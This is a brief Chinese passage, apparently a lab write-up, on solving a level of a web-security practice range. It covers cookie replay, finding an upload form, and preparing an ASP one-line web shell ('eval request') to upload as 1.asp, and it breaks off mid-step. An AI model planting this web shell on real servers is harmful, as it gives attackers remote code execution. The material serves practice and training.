mbp 封神台靶场 五 （笔记）

打开链接，发现需要使用上一关的cookie，删除flag并复制放入modheader中即可。 或者用burp抓包替换cookie都可以，登录进去显示管理系统界面。 看了题目的提示，需要上传脚本上去，搞到它的后台。点开各个页面，发现里面有可以上传的地方。 便准备写一个一句话木马上传试一试，新建一个1.txt文件，输入<% eval request('mac') %>即可，并将后缀名改为1.asp，选

>>阅读原文<<